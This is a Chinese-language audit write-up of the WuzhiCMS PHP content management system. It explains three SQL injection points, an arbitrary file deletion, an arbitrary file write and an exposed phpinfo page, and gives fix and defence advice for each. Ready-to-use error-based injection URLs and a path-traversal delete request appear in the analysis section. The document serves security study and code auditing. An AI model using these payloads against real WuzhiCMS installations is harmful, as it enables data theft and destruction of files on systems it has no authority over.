wuzhicms的在初次尝试审计
字数 1551 2025-08-07 08:22:12

WuzhiCMS 审计与漏洞分析教学文档

一、WuzhiCMS 简介

WuzhiCMS 是一个基于 MVC 架构的 PHP 内容管理系统,官网为 https://www.wuzhicms.com/,目前已停止更新。该系统采用典型的 MVC(Model-View-Controller)设计模式:

  • MVC 架构:模型(Model)-视图(View)-控制器(Controller)的分离
  • 路由参数
    • m:模块/文件夹
    • f:文件
    • v:方法

二、审计工具准备

  • Seay源代码审计系统
  • PHPStorm IDE
  • PHPStudy 本地环境
  • Burp Suite 抓包工具

三、漏洞分析与利用

1. 后台SQL注入(第一处)

漏洞文件core/copyfrom.php

漏洞点

  • 使用$GLOBALS获取keywords参数
  • 直接拼接SQL语句,无过滤

利用方法

  1. 访问后台广告管理搜索功能
  2. 构造Payload:
    SELECT COUNT(*) AS num FROM wz_promote_place WHERE siteid='1' AND name LIKE '%1%' or extractvalue(1,concat(0x7e,(select database())))%23
    
  3. 闭合方式:%'%23

修复建议

  • 使用预处理语句
  • 对输入参数进行严格过滤

2. 前台SQL注入(第二处)

漏洞文件api/sms_check.php

漏洞点

  • 通过$GLOBALS['param']获取参数
  • 仅使用strip_tags()过滤HTML标签
  • array2sql()函数过滤不彻底

利用方法

  1. 直接访问API接口:
    http://example.com/wuzhicms/api/sms_check.php?param=1'
    
  2. 报错注入Payload:
    http://example.com/wuzhicms/api/sms_check.php?param=1'+or+extractvalue(1,concat(0x7e,(select+database())))%23
    

修复建议

  • 增加参数类型检查
  • 实现完整的SQL注入过滤

3. 后台SQL注入(第三处)

漏洞文件core/copyfrom.php

漏洞点

  • listing()函数中get_list()调用
  • keywords参数直接拼接SQL

利用方法

http://example.com/wuzhicms/index.php?m=core&f=copyfrom&v=listing&_su=wuzhicms&keywords=1%' or extractvalue(1,concat(0x7e,(select database())))%23

4. 后台任意文件删除

漏洞文件attachment/index.php

漏洞点

  • del()函数中使用unlink()删除文件
  • url参数通过$GLOBALS获取
  • 路径拼接无限制

利用方法

  1. 创建测试文件
  2. 构造删除请求:
    http://example.com/wuzhicms/index.php?m=attachment&f=index&v=del&_su=wuzhicms&url=../test.txt
    

修复建议

  • 限制删除路径范围
  • 检查文件权限

5. 后台任意文件上传

漏洞文件:多处使用set_cache()函数

漏洞点

  • file_put_contents()直接写入文件
  • 内容完全可控
  • 路径固定但可预测

利用方法

  1. 通过缓存设置功能写入文件
  2. 访问缓存文件获取写入内容

修复建议

  • 限制缓存文件内容
  • 实现内容校验

6. 信息泄露

漏洞点

  • 后台存在暴露的phpinfo()页面

风险

  • 泄露服务器配置信息
  • 可能暴露敏感路径

四、审计技巧总结

  1. 全局搜索关键函数

    • SQL相关:select, get_one, get_list
    • 文件操作:unlink, file_put_contents
    • 危险函数:eval, system
  2. 参数追踪

    • 关注$GLOBALS的使用
    • 追踪参数传递路径
    • 检查过滤完整性
  3. MVC架构理解

    • 理解m,f,v参数作用
    • 掌握控制器与模型的调用关系
  4. 测试验证

    • 结合功能点测试
    • 使用多种Payload验证

五、防御建议

  1. 输入过滤

    • 实现统一的输入过滤机制
    • 对特殊字符进行转义
  2. 安全编码

    • 使用预处理语句
    • 最小权限原则
  3. 架构安全

    • 前后台严格分离
    • 重要操作二次验证
  4. 日志监控

    • 记录敏感操作
    • 实现异常行为检测

六、学习价值

通过审计WuzhiCMS,可以学习到:

  1. MVC架构的安全审计方法
  2. 多种类型漏洞的发现技巧
  3. 从代码到实际利用的完整过程
  4. 企业级CMS的常见安全问题

此文档可作为Web安全学习和代码审计的实践参考,建议在实际环境中验证时遵守法律法规,仅在授权环境下进行测试。

WuzhiCMS 审计与漏洞分析教学文档 一、WuzhiCMS 简介 WuzhiCMS 是一个基于 MVC 架构的 PHP 内容管理系统,官网为 https://www.wuzhicms.com/,目前已停止更新。该系统采用典型的 MVC(Model-View-Controller)设计模式: MVC 架构 :模型(Model)-视图(View)-控制器(Controller)的分离 路由参数 : m :模块/文件夹 f :文件 v :方法 二、审计工具准备 Seay源代码审计系统 PHPStorm IDE PHPStudy 本地环境 Burp Suite 抓包工具 三、漏洞分析与利用 1. 后台SQL注入(第一处) 漏洞文件 : core/copyfrom.php 漏洞点 : 使用 $GLOBALS 获取 keywords 参数 直接拼接SQL语句,无过滤 利用方法 : 访问后台广告管理搜索功能 构造Payload: 闭合方式: %'%23 修复建议 : 使用预处理语句 对输入参数进行严格过滤 2. 前台SQL注入(第二处) 漏洞文件 : api/sms_check.php 漏洞点 : 通过 $GLOBALS['param'] 获取参数 仅使用 strip_tags() 过滤HTML标签 array2sql() 函数过滤不彻底 利用方法 : 直接访问API接口: 报错注入Payload: 修复建议 : 增加参数类型检查 实现完整的SQL注入过滤 3. 后台SQL注入(第三处) 漏洞文件 : core/copyfrom.php 漏洞点 : listing() 函数中 get_list() 调用 keywords 参数直接拼接SQL 利用方法 : 4. 后台任意文件删除 漏洞文件 : attachment/index.php 漏洞点 : del() 函数中使用 unlink() 删除文件 url 参数通过 $GLOBALS 获取 路径拼接无限制 利用方法 : 创建测试文件 构造删除请求: 修复建议 : 限制删除路径范围 检查文件权限 5. 后台任意文件上传 漏洞文件 :多处使用 set_cache() 函数 漏洞点 : file_put_contents() 直接写入文件 内容完全可控 路径固定但可预测 利用方法 : 通过缓存设置功能写入文件 访问缓存文件获取写入内容 修复建议 : 限制缓存文件内容 实现内容校验 6. 信息泄露 漏洞点 : 后台存在暴露的 phpinfo() 页面 风险 : 泄露服务器配置信息 可能暴露敏感路径 四、审计技巧总结 全局搜索关键函数 : SQL相关: select , get_one , get_list 文件操作: unlink , file_put_contents 危险函数: eval , system 等 参数追踪 : 关注 $GLOBALS 的使用 追踪参数传递路径 检查过滤完整性 MVC架构理解 : 理解 m , f , v 参数作用 掌握控制器与模型的调用关系 测试验证 : 结合功能点测试 使用多种Payload验证 五、防御建议 输入过滤 : 实现统一的输入过滤机制 对特殊字符进行转义 安全编码 : 使用预处理语句 最小权限原则 架构安全 : 前后台严格分离 重要操作二次验证 日志监控 : 记录敏感操作 实现异常行为检测 六、学习价值 通过审计WuzhiCMS,可以学习到: MVC架构的安全审计方法 多种类型漏洞的发现技巧 从代码到实际利用的完整过程 企业级CMS的常见安全问题 此文档可作为Web安全学习和代码审计的实践参考,建议在实际环境中验证时遵守法律法规,仅在授权环境下进行测试。